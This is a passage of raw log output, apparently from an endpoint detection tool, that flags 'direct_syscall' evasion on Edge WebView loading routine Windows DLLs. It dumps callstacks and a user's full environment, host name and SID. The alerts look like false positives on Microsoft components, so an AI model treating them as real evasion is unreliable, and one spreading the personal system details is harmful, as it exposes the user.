C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff95503c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7fff955741ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff92e56c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7fff441426e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff451f5aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7fff50a73937 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7fff43d3f61a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43cebf4b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f51e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1407419 + Pid: 2880 + Tid: 4928 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:31.386927 +0100 CET + Params: base_address➜ 7fff91e10000, checksum➜ 300816, default_address➜ 7fff91e10000, file_path➜ C:\Windows\System32\ntasn1.dll, image_size➜ 258048, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff95503c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7fff955741ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9554d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7fff9554b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7fff91e75762 C:\Windows\System32\ncrypt.dll!NCryptEnumStorageProviders|0x7fff91e797c6 C:\Windows\System32\ncrypt.dll!SslEnumCipherSuites|0x7fff91e6a848 C:\Windows\System32\ncrypt.dll!NCryptCloseKeyProtector|0x7fff91e6a6b7 C:\Windows\System32\ncrypt.dll!NCryptCloseKeyProtector|0x7fff9565f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff9550bcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff955097ac C:\Windows\System32\ntdll.dll!RtlDeleteElementGenericTableAvlEx|0x7fff955976ea C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7fff95596203 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddress|0x7fff95516414 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff92e56c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7fff441426e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff451f5aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7fff50a73937 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7fff43d3f61a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43cebf4b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f51e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1407444 + Pid: 2880 + Tid: 4928 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:31.3885563 +0100 CET + Params: base_address➜ 7fff76a80000, checksum➜ 1174969, default_address➜ 7fff76a80000, file_path➜ C:\Windows\System32\PCPKsp.dll, image_size➜ 1142784, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff91e62a80 C:\Windows\System32\ncrypt.dll!NCryptEnumKeys|0x7fff91e6510e C:\Windows\System32\ncrypt.dll!SslIncrementProviderReferenceCount|0x7fff91e6687e C:\Windows\System32\ncrypt.dll!NCryptOpenStorageProvider|0x7fff43d3f61a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43cebf4b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f51e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1407472 + Pid: 2880 + Tid: 4928 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:31.3922093 +0100 CET + Params: base_address➜ 7fff80e50000, checksum➜ 181834, default_address➜ 7fff80e50000, file_path➜ C:\Windows\System32\tbs.dll, image_size➜ 106496, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: 